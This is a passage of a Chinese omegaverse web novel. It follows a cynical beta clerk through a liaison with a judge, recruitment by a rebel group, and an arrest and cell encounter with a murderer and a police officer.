当然,对我这种没有原则的人来说其他人爱怎么骂怎么骂,反正好处吃到嘴就行。 就像此时此刻我抓住莱文头发的动作一样,无声却足够扯住他。 金丝眼镜特有的冰冷触感刺激到我的皮肤,让我稍微抖了一下,于是更用力地扯他的头发,还不小心扯掉了几根。 omega取下被水打湿的眼镜,抬起头时被朦胧中看见的人脸惊吓了一跳。 他分不清落在面颊上的液体是眼泪还是其他,但味道都是咸涩的,滑入喉咙内会品出一丝丝苦意。 “莱文……”女人的潮气洒在他的耳垂边,之后是加重感官的吻。 很轻很柔的亲吻,且每一次亲吻的间隔都很久,落下来又转瞬即逝,好像是她反复斟酌许多次后才打定的主意。 难以想象,进攻和胆怯两种矛盾的特质竟然能同时在beta女性身上融合在一起,将他的感官也跟着杂糅,然后将他以无法理解的方式融入她体内。 “唔——”莱文猛地抓紧了女人的肩膀,不小心落下一道红痕。 女人停滞了片刻,进攻的心理作祟,就把湿漉漉的手抬起来扯开他的嘴,然后用大拇指卡住了他的上颚。 “莱文。”她轻声说道,“我请求你。” 女人终于在这个特定的时间里放下所谓的自尊心,开口请求他:“你当做施舍也好,恩赐也好。” “不要再说让我难过的话了。” 用进攻的姿态,说胆怯的话。 她可真厉害。 于是莱文只能不受控制地点头,最后陷入刺目的白色灯光中。 第36章 肩膀痛痛的,应该是流血了。 我在莱文的指甲缝隙里看见了血丝。 法官的办公室内有专门的休息隔间,我在里面的全身镜子前看见了肩膀处的伤口,长长的一条。 好在不是很深,不用上药三四天就能恢复如初。但为了保险起见,我还是找出了药膏让莱文帮我涂上。 可这毒蛇上个药都不安分,还要从后面勒人。* “莱文,我没法呼吸了。”我说道。 身后的人闻言笑了一下,松开双臂后在我的脖子后面细细亲吻。 事前是毫无顾忌地施压,事后这死人反而开始追求情调,好mean的习惯。你们这些天龙人Omega怎么一个调性? “你头发有些长了。”莱文说道,捏起我的一缕发尾拨弄到我的面前。 深黑色的一缕,没有别的修饰词,就是纯粹的黑色。 我透过镜子看见里面的女人,在几处地方看见了多年前留下的伤痕。 这些伤痕有很多种。被钝器砸伤,被刀刃划伤,被矿石砸伤…… 这些可都是我丰富人生经历的勋章啊,真特么帅,不愧是世界第一大矿工。 莱文从洗漱台的小储物柜里挑出来一根橡皮绳,替我把那小小的一缕头发圈起来挂在肩膀上。 瞧着像是一条刚刚发育起来的灰色狼尾,乌漆嘛黑。 “谢谢。”我语气平静道谢。 重新穿上衣服后,我看着莱文用香水遮盖周围的信息素味道。 渐渐的,我的鼻腔周围围绕出着一股薄荷味。 很清洁的味道,和莱文洁癖的习惯相当合适。 莱文见我盯着他手中的香水,不知想到了什么,唇角微微上扬起愉悦的弧度,“你好奇我的信息素味道?” “……嗯。”我满足他的幻想。 “薄荷。”他直截了当回答。 我毫不意外。相同气味的香水能够完美掩盖信息素的味道,对这方面我从克斯蒂那里得到了丰富的经验。 嗯……我之前是不是说过要去图书馆看一看相关书籍? 想到就要做,我看似心情沉重实际上满心敷衍地对莱文说了几句话,然后就准备离开办公室。 “白无用。”他唤停我。 我回头看他,只瞧见他坐在办公桌前。 修身奢侈的西服,端庄的坐姿,还有仿佛象征理性的金丝眼镜。谁都想不到来他刚刚在地毯上时是什么表情。 “还有事么,莱文?” 莱文将两份文件推过来。 我翻开第一份,是贫民窟拆迁文件,共两个部分。 第一个部分提供给上形城的人阅读,表示爆炸后一片废墟的贫民窟将用来建立一个新型城市。这一座城市将作为白灯湾的新驻地,并愿意接纳一部分提前投资的上行城公民。 第二部分提供给克亚区人,只是简单的描述上行程将建立一座新城市,要召集合适的求职者,并选取拔尖人才给予其上行城居民证。 白灯湾那些人准备干什么? 我的脑子里闪过千丝万缕,可怎么抓也抓不住。 我干脆放下,去看第二份文件。 这就和我息息相关了,是实习生转正考试,和庭审记录员的调职申请表。 “莱文,什么意思?”我问。 莱文的手指点了点第二份文件,“只要通过转正考试,我就将你调去做庭审记录员。至于那个和你闹矛盾的实习生,我会直接把他踢出去。” “我们都走后,谁来接管档案管理员这份工作?” 莱文讥讽一笑,“没人在乎。” 我静默片刻,勉强笑了笑,“第一份文件的意思呢?莱文,所有人都不在乎那十几万的人命吗?” “我已经给你交代了,不是吗?”莱文反问,“一座新型城市,未来的居民来自白灯湾和上行城,难道还不够体面吗?” 哇哦,所以你的意思是说,死掉的十几万人会因为未来踩在头上的人是白灯湾人所以倍感荣幸吗? 那你们可真是狗屎,都去死吧。 “……我知道了,莱文。” “再见。” 我离开了办公室,也离开了法院朝图书馆走去。 午休只有两个小时,我得赶紧去图书馆进修一下基础性别认知!不然下次偷吃被抓住了很难搞啊! 距离法院最近的图书馆只需要走五分钟的路。 我从一位善良的beta手中接过了冰棍,又顺便为他解决了一些情感难题和生物难题,就心情愉悦地迈进了图书馆的大门。 然后和阿丽面面相觑。 我欲言又止,止言又欲。 “你就专门做图书管理员呗。”我吐槽说道。 阿丽面无表情敲电脑,“她们说我很合适,就做了。而且很方便。” 我仔细一想,确实方便。杀完人后直接伪装,谁又能想到图书馆管理员是叛乱党呢?还在人法院附近,简直走钢丝。 我借着查阅图书的间隙和阿丽聊起来。 “我们总部不是在克亚区吗?你怎么能进来上形城,身份又是什么?” “特定生。”阿丽解释说。 特定生是指前往不属于功公民阶层的区域读书的学生。克亚区那男的就是特定生。 我眉头一皱,那种不对劲的感觉又上来了,“最近你们要做什么吗?” 阿丽的眼睛眯起来,“大家说的没错,你虽然不道德,但很聪明。” 哈哈哈,知道你们对我的道德没多期待我就放心了。 你们千万别觉得我是好人啊。好人是不求回报的,我不行,我要的报酬很多。 下一秒我就警惕往后退一步,“你们又想我做什么?” 阿丽重新把眼睛睁开,整个人憨厚呆傻,“辛罗娅,她得活着。” 我立刻就拒绝了,“想都别想,人证物证俱在,就算她本人和辩护律师把嘴皮子磨破了,十二位陪审员也不会放过她。” 阿丽锲而不舍,“可你很聪明。” “我还只有一条命呢,你们怎么不让我去刺杀总统?” 阿丽眼前一亮,“你可以吗?” “不可以!”我怒骂,“换一个。” 阿丽失落,慢吞吞地手掌心朝上,“那一百块组织费。” “不就是刺杀总统吗,这个任务我接了。”我义正言辞,“不是一百块的问题,是我觉得总统确实该死。你想想贫民窟十几万人呢,她让人炸就炸,简直草菅人命。” 太贵了,你一个叛乱党怎么好意思收费啊!一百块那就是要我的命啊! “她们又说对了,只要提钱你就能答应。”阿丽又说。 “……我靠,她们到底是谁啊!”我破防,“怎么一猜一个准!” 阿丽对此闭口不谈。 于是我只能无能狂怒地在小角落对空气拳打脚踢发泄心中的怒火。等差不多了,就假装什么都没发生地拿上一本书回到管理处。 “辛罗娅有什么特殊的地方值得你们去救吗?”我问。 辛罗娅,正是那个杀了陪审团副团长孩子的beta女性。 我在和莱文乱搞之前登上各大媒体搜索过她的名字,从中得知她的杀人手法极为残忍。 腺体破坏,四肢斩断,胸腹的皮肤被切开,里面的器官全部都泡在了福尔马林里。 手法娴熟专业,毕竟她是一位优秀的医学生。 我想这位凶手平时一定经常和大体老师切磋专业知识。 阿丽从我的手中接过书,将编号录入电脑后,给了我一张纸质凭证塞入书内递给我。 “她们说还不是很信任你,需要你彻底上船之后才告诉你。她的所有信息都在里面,你可以自己看。” “啧,知道了。”我借过书揣进兜里。 美好的上行城小白脸生活还没过多久呢,又要干活了。 钱还没拿到手呢,就开始催一百块的入会费。 我狠狠唾弃这个组织,太抠了! 白无用的钱都要抢,怎么就不体谅一下呢? 下午工作时间里,刘生的东西都被收走了。 我猫哭耗子伤心了三秒钟,继续干自己的事情。 而此时放在我桌面上的是莱文交给我的文件。 纸张很白,白纸黑字写着各种资料。我慢慢翻阅纸张,一个字一个字地阅读上面的文字。 只要活着就行?那可操作性就很大了。我既可以让她无罪释放,也可以让她假死直接强迫她主动加入组织。 但我思考阿丽的话语内掩藏的信息,知道“她们”不是喜欢简单粗暴的人。 我的目光落在那一张调职申请表上,突兀地笑了。 莱文对强制爱剧本情有独钟啊,表面上为了我好,却连上升空间都不给我。 这一点还是克斯蒂大方,说升职就升职,都不带一点算计。 一个庭审记录员能干什么?记录辩护律师的唾沫横飞,还是记录陪审员们的偏袒,或者是记录法官仿佛钻进菊花里的两眼摸黑? 想要熬出头也不是不可能,但那太远了,无法救近火。 等我真的升到高级记录员,莱文已经继承家业了,说不定还能进入陪审团呢。 我认识的人里谁能帮我? 克斯蒂简?不行,他只是个Omega,没有实权。莱文斯科特就更别说了,妨的就是他。 我猛地抓起文件,呼吸有些粗重。 霍里家族能做什么? 警官?那是不是说明其家族和政治司法相关?而且霍里也在调查这一起案件。 一个结果注定的案子,霍里明明可以随便找点证据就上交,凭他的家族根本不会有人谴责他。 那他为什么还大费周章查,还是查三年前死者的案件。 “哈哈!”我捂住嘴抑制笑声。 我总算思考出这这一起案件底下不对劲的地方了! 一个克亚区的beta女性,竟然可以孤身一人撬开层层保护将陪审团副团长的孩子劫持,甚至有足够的时间将其分尸然后抛尸! 这合理吗?天龙人的脸不要了,竟然任由底层人踩在脚底下碾? 所以霍里家族要把副团长拉下来取而代之? 辛罗娅是霍里家族的人? 莱文是定罪人? 不,还有很多缺漏…… 我又开始焦虑。 我知道的信息太少了,我能利用的人也太少了,根本无法让我知道事件的全过程。 “重构”的人在暗地里观察我,确认我是否有资格进入她们的权利范围。 性别不是问题,阶层不是问题,就连此前的立场也不是问题。 只要能证明我的能力,我就有机会掌握权利! 她们想把我培养成明面上的人,一旦我成功了,我可以得到权利。 甚至…… 我差点抑制不住指缝里泄出来的笑声。 我甚至可以进入陪审团啊! 陪审团!那可是陪审团!白灯湾下的最高权利组织!只要轻轻投出一个“否”字,就能轻易摧毁众多人的努力。 眨眼间,我松开捂住嘴的手,恢复从前勤勤恳恳认真工作的老实人表情,面对走进来的人露出疑惑的表情,“霍里警官,你来是为了归还档案吗?” 金发碧眼的警官歪歪斜斜靠着门框,笑眯眯地晃动脑袋,然后用脚后跟踢开门,将后面的一群警官制服的人露出来。 他朝我举了举手中的传唤文件,说:“跟我去审讯室一趟吧,小白。” 我:……知道她们会干点什么,但没想到这么搞啊! 再这样下去审讯室就要成为我的快乐老家了啊!—— 作者有话说:无论去到哪里都逃不开的审讯室命运[点赞] 女主:刷新点是审讯室是吧 第37章 就很突然,不知不觉间我已经小黑屋四杀了,下次五杀是什么时候? 算了算了,这种东西就不要五杀了,听着有害身心健康。 面对霍里的一纸传唤,我要开始我的表演三步骤了。 首先是震惊:“霍里警官的意思,你要逮捕我吗?我是嫌疑人?” 然后是疑惑:“到底发生了什么?” 然而霍里不爱听小白说话,还要拿手铐束缚小白的双手让她连跑的机会都没有。 “咔哒!”一声,我的双手就被束缚住了。 现在是最后一步:巩固人设。 “霍里警官!你能告诉我到底发生了什么吗?”我无措地拽住霍里的衣服,“如果我真的无意之间做了错事,我甘愿受到惩罚!但如果我是清白的,我绝对不会认罪!” 可alpha却是腰身一扭,就把我的手挣开,转过头来眼眸含笑:“你不知道?没关系,等会你就会知道了。” “对了,不要想着斯科特能救你哦,这一起案件牵扯太大,莱文救不了你。” 说到莱文,莱文人就到了。 他快步挡住了霍里,瞥了我一眼后皱起眉头,“霍里,说说看到底怎么回事?” “很简单,她和叛乱党有牵扯。”霍里自认为无辜地举起双手,“她是从贫民窟出来的人,你去过那,你知道的。那里是叛乱党盘踞的大本营,而在三天前她和疑似叛乱党的凶手辛罗娅有过接触,所以也有很大的嫌疑。” 说完一长串,霍里的眼睛眯起表示笑容的弧度,“斯科特,你可是负责这一起案件的法官,得和嫌疑人避险啊。” 我在旁边听得汗流浃背,疯狂思考我这几天什么时候和辛罗娅有过接触。 答案是:没有! 我最多去图书馆看书,步行去广场看美人跳热舞,顺便替年少不知事的abo们解决一下情感难题。辛罗娅一个忙着杀人分尸的凶手难不成也要去广场看热舞缓解压力? 她们到底是怎么搞的啊,要是一个不小心我真的就死定了! 我想想该怎么狡辩一下……可恶找不到借口! “这几天她做了什么我都知道。”莱文继续说道,眉头更拧,“霍里,我很好奇你是怎么调查出她的资料。” “很简单啊。”霍里理所当然,伸出一只手打在莱文的肩膀上。 从我的角度看,发现霍里是用了很大力气的。 “莱文,你该对某些事情敏感些。你看看,到现在你还一无所知,不知道的还以为你是omega呢。” 一下子就被戳中痛处的莱文表情骤变,那瞬间展露的恶意泄去,“邦林顿霍里!” “不要那么生气,斯科特。”霍里依旧笑脸盈盈,“你又不是真的omega。而且我这是在提醒你,毕竟这一起案件由你负责。如果你做得好,说不定陪审团的成员们会提议让你更上一层。” 我竖起耳朵在旁边偷听。 可霍里在此时竟然降低了音调,在莱文耳边说悄悄话。 啧!这就是你们的不对了,怎么能拿我当外人呢? 有什么是我不能听的事情?简直不像话! 霍里说完悄悄话,莱文的怒火明显平息了。 他看了我一眼,“白无用,你最好是无辜的。” 我艹,不祥的预感更浓郁了啊! “莱文,我……” 我还没说什么呢,就被霍里拽着离开了。 与他擦肩而过,我还依依不舍地回头看,企图从莱文的脸上看出点什么东西。 我看出来了,然后内心开始狂笑。 可我还得做一做表面功夫来满足莱文的幻想,一脸痛苦和麻木地与他渐行渐远,最后被霍里压上警车。 也不知道霍里什么心情,竟然和我并排坐着,还靠得很近。 警车不是今早的那一辆,我怀疑那一辆已经被这个天龙人私自占有了。 “霍里警官。”我沉沉唤了他一声,“我能知道,你和莱文说了什么吗?” 坐在旁边的alpha肆意伸展手臂,越过我的肩膀耷拉在另一边。两条腿也毫不客气地踩住前面的驾驶座,简直任性妄为。 可警车内谁都没人敢出言纠正他,全都假装没看见。 “不狡辩你和辛罗娅的关系了?”霍里笑道。 我摇摇头,“我清楚我是无辜的,这就足够了。比起这个,我更好奇你对莱文说了什么能让他立刻平息怒火。这一定也和我有关。” “哇哦,你确定你和莱文是朋友?”霍里笑眯眯逼近我,眼眸牢牢锁定我的脸,不放过任何的表情。 面对专业人员,我想要下意识放轻呼吸,可转念一想又将那呼吸变得短促。 我略感不适地往后退一些,同时青涩又笨拙地企图用言语掩盖漫上面颊的红霞,“是。” 霍里不再逼近,反而饶有兴致地欣赏眼前人的表情。 “小白。” “霍里警官,是白无用。” “名字无所谓。”霍里毫不在乎,“反正你被莱文卖了,就那么简单。” “卖了我?为什么?” alpha警官两条腿交叠,舒展的右臂自然落下放在膝盖上。 他慢吞吞地将刚才和莱文说的悄悄话告诉我,同时还要观察我脸上的表情。 “根据我的调查,这一起杀人案件并不简单,还和叛乱党有关。可真正的叛乱党是谁还有待考究,想要深入调查难度很大。而你恰好从叛乱党的大本营出来,并且完好无损。” 我脸上的表情变来变去,“我能活下来,是因为莱文愿意出手救我。如果这样说,莱文也有叛乱党的嫌疑。我不相信他会那么干,他是个正直的法官。” 没错没错,怀疑我就是怀疑莱文,怀疑莱文就是怀疑斯科特家族,你们有什么问题去找斯科特家族,和我没关系。 当然啦,如果是好处那就放心地交给我吧!因为我比你们都能解决问题! 霍里没从我的脸上看见期待的表情,于是再接再厉:“如果他把你带出来,就是为了今天呢?” 得了吧,莱文没那个敏感度,这还是你自己说的呢。 感觉智商被眼前的alpha侮辱了一下。 但我又有什么办法呢? 我的人设就是很好骗的老实人啊! 但我又不能真的演出被骗的样子,得坚定不移地相信莱文,坚信我俩的关系绝对不存在背叛。 至于霍里为什么想要挑拨离间,我才懒得管。 “请不要再这么说了。”我变了脸,将他轻轻推开,略带不悦说:“我确实没什么能力,但这也证明莱文本性是个好人。霍里警官,我很尊敬你,但这不代表你可以随便侮辱我和莱文。” “侮辱?我怎么会侮辱我的朋友呢?”霍里竟然比我还震惊,“我只是实话实说。” “你有。”我反驳,“你刚才说,莱文像omega。这样的玩笑不好笑,任何人的优秀和性别都没有关系。” 第二次听到这样的言论,霍里含笑的眼神里终于出现了别的情绪。 那是一种打量新人类的眼神,惊奇中还有些诡异的兴奋。 良久,他从嘴角溢出笑,“你叫什么名字来着?” “……白无用,霍里警官。” “好吧,小白,你的话真有意思。” 我神色郁郁,低下头去不再看他,一副被欺负了还窝囊受罪的样子。 一个破名字都记不住,我看你也别叫邦林顿霍里了,改名叫白痴吧,不仅独特而且朗朗上口,别人一听就知道你是缺脑子。 我就这样被带去了警察局。 上行城的警察局比贫民窟好上太多,就连关押嫌疑人的地方都装了空调。 被关进小黑屋,我一回生二回熟地找个角落蹲好,然后开始对着墙角画圈圈。 旁边人的眼神轻飘飘落在我身上……准确来说是落在我的后脖子上。 就很热烈的眼神。 当然不是说这人与我是同道中人,而是说她馋我身子,物理意义上的那种馋。 “你就是辛罗娅?”我问。 阴影下的女人闻言点头,缓慢走出来站定在我的面前,眼神依旧锁定我的后脖子。 她说:“你的第一性别是beta?” “对。”我回答,然后假装害怕地往后缩了缩。 没见过世面的人和杀人犯共处一室当然会害怕啊,尤其这个杀人犯还可能会让自己丢掉小命。 “呵呵。”辛罗娅笑起来,“他们竟然愿意让我和别人共处一室,就不怕我们串供吗?” 我眨巴眼,看清楚了她的脸。 不像beta,不像omega,也不像alpha。 真神奇,如果不是看过资料,我根本分不清楚这人的第一性别是什么。 辛罗娅来到我面前蹲下,伸出一只布满茧子的手,“辛罗娅,目前的身份是杀人犯和叛乱党同伙。” 我没和她握手,“白无用,目前的身份是被怀疑的叛乱党同伙。” “所以你是吗?” 我立刻情绪激动,“我不是!我根本不知道为什么大家会这么认为,我只是做着我自己的事情,努力工作学习准备转正考试。” “要说我和你的关系,也只是今天早上的时候把档案交给了霍里警官。可我根本想不到,下午霍里警官就把我抓进来。” 辛罗娅安静听我说着,蓝色的眼睛沉沉,还在打量我的后脖子。 突然,她提出了一个毛骨悚然的问题:“所有beta都没有腺体吗?” 我:? 腺体破坏,四肢斩断,胸腹剖开,内脏取出。 这是杀人犯的作案手法。 我一个机灵跳起来缩在墙角,同时保护好自己的脖子,“没有这种东西!我看过书了,腺体是alpha和omega才有的器官!你是医学生,你应该比我更懂啊!” 辛罗娅坚持不懈继续问:“我认为beta也有腺体,只是因为某种原因消失或者退化了。不过在我看来,‘退化’是人类以狭隘视角的定义,实际上这是一种进化的标志。” “你知道这意味着什么吗?意味着现阶段的人类不完整,我们需要淘汰掉这一部分。我的想法,上帝也赞同。” “你怎么就知道上帝会赞同?”对上帝有点了解的我反驳。 然而辛罗娅不在乎我的反驳,反而有些洋洋得意,“祂告诉我的。我死后不会下地狱,我会去天堂。” “六种性别太多了,这不合理,还会将人类隔离成一个个小团体。而人类则会为了各自的团体互相打压。上帝受够了这样无止境的打压,所以祂让我这么干。” 她说得头头是道,我听得一头雾水。 头好痒啊,感觉有什么东西强行塞进了我的脑子。 虽然我偶尔会去教堂祈祷,扣扣搜搜地从我的口袋里掏出几块钱捐赠。但这只是我维持的人设,实际上我压根就不相信上帝。 祂要真存在,我早就实现财富自由了……也有可能是我花五块钱却许三千万愿望的原因。 难道是因为我没有把公民编号告诉上帝,祂找不到人? 下次去教堂试一试。 好吧现在别说去不去教堂了,能否从眼前女人的手底下好好活着就是个问题! 她明显是个狂热的信徒,还是个医学怪人!我真的很怕她从不知道哪个小角落里掏出把手术刀把我弄死啊! 所以她们到底看重辛罗娅哪一点,我也去努力学一下,能不能把这人放弃啊! 我吞一口唾沫,假装认真思考她提出的思想,“我觉得你说的有点道理,很抱歉我没有上过大学,无法和你认真讨论。” “但我觉得我们的某些思想不谋而合,比如一个人不应该被性别定义。” 死嘴快说啊,这人的眼睛都要放光了啊! 你手别动,你藏在身后的是什么东西,不许拿出来! 脑子快想一想啊,你在书里还看见了什么东西,都给我说出来,没有的话现场编一下也行! 余光瞥见辛罗娅越靠越近,藏在身后的手蠢蠢欲动要掏东西,我急得恨不得跳起来上蹿下跳! “就像你觉得人类不应该有六种性别一样,我觉得社会上也不应该存在六种性别。”我脱口而出。 我他爸的在说什么啊! 等一下,她的动作是不是停了? 那我可要继续编下去了! “辛罗娅,我第一次向人吐露我的心声,同样的,我很感激你愿意向我倾诉你的观点。”我眼神真挚地看向辛罗娅,仿佛和她一样也是个多么虔诚的信徒,“总之,我很感谢你。” “我想要把那些不相关的外在因素剔除掉,只是单纯地以灵魂的角度和你对话。” 辛罗娅呼吸放缓,目不转睛盯着我。 我要开始我的演讲了,你好好听。 “我认为这个世界上,其实是有三种分类性别的方法。”我缓缓说道,“分别是生理性别,心理性别以及社会性别。这简直不可思议,人的性别竟然可以排列组合到如此复杂的地步。” “直到我听了你的思想,我豁然开朗。”我目光灼灼,直面辛罗娅。 眼前的女人则是瞳孔微微收缩,某种兴奋激动的情绪在眼底下酝酿。 “为什么要那么复杂呢,大家都是人类,都有自己的思想,又为什么被限制自由?你看,alpha要有alpha的样子,omega都是omega的样子,beta则是永远做个透明人。这公平吗?这明明是在隔离人类!” 我几乎动用我所有的脑细胞,绞尽脑汁地编造一套听起来还算合理的言论。 扭过头去,就看见辛罗娅过分兴奋以至于有些缺氧的脸。 她裂开嘴露出白岑岑的八颗牙齿,“你说得对,太对了。” “你是第一个和我说这些的人,我很高兴。” “能和你聊天,我也很高兴。”我礼尚往来。 然后我就看见辛罗娅朝着某个地方招招手,说:“杀人我认,叛乱党我也认。但这个人不行,她太蠢了。” 我:??? 小黑屋的门打开了。 清脆的鼓掌声传入房间内,身穿警官制服的alpha走入屋内,笑容灿烂,“刚才真是一番精彩的推心置腹。” 我两眼懵,看看辛罗娅,又看看霍里,只觉得大脑被人摘下来狠狠侮辱了。 辛罗娅撑开笑,“这种蠢人你是从哪找来的?随便说两下她就被骗了,怎么也不可能是叛乱党。你能质疑我的业务能力,但你不能质疑我看人的眼光。” “她,就是不行,根本做不了我的同党。” 白无用!绝对没有不行! 我面色苍白,眼神戚戚,眼眶含泪,“所以刚才是什么意思?” “我以为,起码在聊天的时候,我们是朋友。” “没有,不存在,别来沾边。”辛罗娅否认三连。 我立刻做出深受打击的表情,垂下眼眸不再说话。 哎,老实人是这样的,总是容易被骗。 然而霍里不吃这一套。 他身子一软,靠在了墙壁上说:“她还有个在克亚区的弟弟。” “都是姐弟了,智商肯定也不高。”辛罗娅嫌弃脸。 霍里被难住了,虚假浮夸的笑容稍微收起来,“很难办啊,没有同伙作案,你杀掉副团长孩子的罪行会有很大争议。” “就不能让那个同党跑了么?”辛罗娅嘲讽笑,“反正又不存在。” 霍里耸耸肩,反问她:“你觉得呢?” 辛罗娅嗤笑,“那你把她带走吧。” 霍里双手一拍,对我说:“走吧,小白,你还有你的任务。” 我抿唇,站在两人之间没动,而是执拗地看着辛罗娅问:“刚才你和我说的,是真心话,还是试探我?” “那些不重要。”辛罗娅干脆转过身,“你太蠢了,我不想和你聊。” 我却大步上前拉住她的手,“辛罗娅!我感觉得出来,那些是你的心里话!” “你和一个杀人犯推心置腹,你仔细想想不觉得好笑吗?所以你才蠢啊。”辛罗娅烦躁甩开我的手。 我如她所愿松开手,将那薄薄的一片纸快速塞进裤腿夹缝里。 事后跟随霍里离开小黑屋前往审讯室的途中,我都假装心情沮丧。 霍里走在前面,左歪一下,右斜一会,大幅度的动作感觉要把走廊都给占据了。 金色的柔软发丝也跟着他的动作晃来晃去,让抑制贴也跟着晃来晃去。 应该是没来得及更换,所以抑制贴后的皮肤有些泛红,还有往外扩散的趋势。 趁着拐角处,我一心二用地将那小小的纸片拿出来快速浏览一边,将上面的文字记入脑子,就揉成一个小团丢进路过的垃圾桶里。 辛罗娅确实是霍里家族培养的棋子,但她的作用远比霍里家族估算的大,于是“重构”想要借此机会招揽她。 而霍里家族想要用辛罗娅撬开陪审团,就需要有足够的力量,于是想要把“叛乱党”的帽子扣在那位副团长的身上。 至于为什么反而让辛罗娅先戴上“高帽”,我猜测这是一种迂回的计策。 有些时候,“搬起石头砸自己的脚”是一出精彩的戏码。 “哒!”霍里停下了脚步。 我抬起眼眸,发现对方站在审讯室的门口,手搭在门把手上。 他的后脖颈已经完全发红了。 我明知故问,“霍里警官?” alpha转过身面对我,左手捂住后脖子,右手拿出通讯器打字。 抑制贴过时效了啊,好狼狈哦。 “霍里警官?”我靠近一步,仔细观察他的表情。 红痕已经弥漫到前面来了,将他的脸都染上红色。就连总是含着虚假笑容的眼睛里都因为泛起的水雾而显出几分真情实意的情绪。 我立刻转换成惊慌和担忧的表情,“霍里警官,是易感期吗?我立刻扶你进去吧,待在外面很危险!” 霍里则是维持笑眯眯的表情,带有某种兴奋意味的视线上下扫视我,“可以啊。” 得到他的允许,我扶住了他的手和腰,将他往审讯室内送。 不愧是劲辣鸡腿堡,手感相当不错,大腿绷直后的曲线也*很完美。 我将他搀扶进去坐在了嫌疑人的专属座位上,又焦急地给他倒一杯冷水,“你联系人过来送抑制剂了吗?或者哪里有抑制剂出售?我这就去买!” 假的,我才不会花钱呢。 我就装装样子,你信就是你蠢。 对哦,刚才辛罗娅骂我蠢。 胡说八道,白无用明明很行!我要狠狠记上一笔,等她哪天进入组织了我要给她穿小鞋。除非她帮我把那一百块的入伙费付了。 脑子里骂骂咧咧,我手上不停地安抚他,抬起腿就要往外跑。 可脚步还没迈开,我听见了轻微的撕扯声。 那是抑制贴与皮肤分离后的撕扯声。 我当然闻不到信息素的味道,却能敏锐察觉空气在此刻变得潮湿,有什么东西在发酵。 “霍里!”我惊慌失措,手疾眼快地用椅子上的手铐把他的双手铐上。 有仇不隔夜,我的好品格又增加了一条。 alpha的笑容在双手被铐上后一点点扩大,“哇哦,你在袭警?” “不,不是!”我面红耳赤,不敢看他的眼睛,“我不了解你们alpha的易感期是什么样子,我没遇见过,你,你是第一个。” “我想帮你,只要你能好受一点,我都愿意帮忙。” “是么?” 我小幅度点头,“那,我现在去买抑制剂?” 说完后,我察觉到我的小腿被勾住了。 其实我感觉不到皮靴的质感,只知道裤腿的布料正不断摩擦皮肤,激起一层层鸡皮疙瘩。 “想帮我,可以啊。到我身后去。”他笑道,“正好给小白补习生理知识。”—— 作者有话说:好兴奋哦呵呵呵,变态就是好写啊(摩拳擦掌.jpg) 第38章 我该说什么吗? 这人意图好明显哦,真以为我这种没见过世面的小牛马不知道上行城的审讯室内有监控。 我敢打赌,我要真敢在审讯室内和他深入交流乱七八糟搞了一下,当天晚上莱文就会拿着枪闯进我的房间让我脑袋开花。 额啊啊啊好烦啊,你们天龙人裤子下面怎么都缠在一起啊,难道就没有哪一个可以让我放心乱搞不用担心突然查账的合格情人吗? 我的内心持续骂骂咧咧,面上确实仿佛被蛊惑了一样让红晕弥漫整个面颊,然后手足无措地拽紧衣袖,“霍里,你想让我做什么?” “到我身后去,别让我说第二遍。”霍里笑道。 为了让我动起来,他还配合了腿部的动作把我往他的身后勾去。 我就这样看似无意识其实超级巧妙地来到了他的身后,看见他发红的后脖颈。 alpha的皮肤其实比omega稍微粗糙一些。但得益于天龙人娇生惯养的环境,再差也比贫民窟里出来的人好。 “看见了吗?”alpha问道。 我没说话,伸出食指靠近,却不小心指甲剐蹭到那一小块肌肤。 他明显僵硬了一瞬,很快又恢复自然。而我也飞快地缩回手指,以极快地速度捡起地上的抑制贴“啪”一下拍到上面去! 好大一声,把本来就通红的皮肤拍打出明显的深色巴掌印。 他疼得“嘶”一声。 我则是吓了一大跳,又神情慌张地绕到他的面前,“霍里,我不是故意的!但我看你抑制贴掉了,就帮你贴回去。下次我会注意点的,我只是希望你好受点!” 就算我公报私仇花了十分力气给了你一巴掌,但我这是为了帮你,所以你不能报复我知道吗? 坐在椅子上的alpha大概是被我突如其来的操作弄懵了,就连那让人恶心的笑都忘记维持,而是用一种略带空白和疑惑的眼神注视我。 我刚想给他扬起一抹笑,又被我憋回去。 笑口常开,cheapman自来。 何况这个该死的天龙人已经笑得够多了,我再笑那就不合适。 虽然我很想幸灾乐祸笑一下。 “那个,我去外面了。”我挠挠头,做足了青涩笨拙不擅长面对心仪人的老实人姿态,然后一步三回头恋恋不舍又满含担忧地离开了审讯室。 在关门的前几秒钟,我看见此人终于把那不符合人设的表情收回去了。 我撇嘴,关上门站在门口等待。 不出两三分钟,送抑制剂的人就来了。 也是身穿警官制服,是个长相清秀的beta男性。看得出来他很着急惶恐,生怕来晚了会发生什么,眼底都是惊慌。 我把他拦在审讯室外,接过他手中的袋子,面带关怀,“你没事吧?” 他一愣,“我,我没事!但抑制剂得赶紧送进去。” “我知道,但我觉得你更需要关心。”我仗着这地方隔音效果良好于是开始熟练地为充满仿徨的小年轻排忧解难,“你一定很辛苦吧,虽然我帮不了你什么,但我认为你值得一句赞扬。” “你真厉害,也辛苦你了。” 这位清秀的beta男性略带迟钝地点点头,等意识到被人关心后,竟然眼眶微微泛红地低下头,“谢,谢谢你。” “不用谢,我只是说了应该说的话。你值得夸赞,也值得安慰。”我拍一拍他的肩膀,提着抑制剂进入了审讯室。 可怜的小年轻是这样的。身为一个同样出生底层的人,我怎么会不懂呢。 我,不过是心胸宽广不舍得让每一个长得好看的年轻人受到伤害罢了。 审讯室内只亮起来一站小台灯,是我刚才匆忙打开的。 灯光对准了霍里的方向,将他的五官照亮,连同额头上的金色碎发都照出稀碎的小闪光。 “霍里?霍里你还好吗?” 我走进他,弯下腰查看他的状态。 可他则是闭上眼睛,满脸通红,呼出来的气体都裹挟着热浪。 这就是易感期的alpha啊,和当初在贫民窟内遇见的alpha一样,攻击性和侵略性都很强。 “霍里,我该怎么用抑制剂?”我小声问他。 霍里缓缓睁开眼,依旧是含着笑意弧度,但里面的某些情绪不一样了。 “抑制贴撕掉,针头对准腺体扎进去就行。” “好,我尽量试一试。”我拆开抑制剂的包装袋。 不出预料,是白色的液体。 针管我在手中很冰凉,为了隔绝里面的液体,采用是玻璃材质。随着我的动作,里面的液体也跟着晃荡。 上面还有详细的使用说明书,教导初次使用抑制剂的人该怎么正确使用。 空气中的潮气越来越浓重,沉沉地压进了肺部。 我掀开抑制贴,按照说明书教导的那样先用拇指摁住那小块肌肤,寻找腺体的位置。 说实话,当初昂撒教导我生理知识时我都没有那么温柔,而是很简单地扣上去。 于是理所当然换来了一顿打,但这不妨碍我体会到那种感觉。 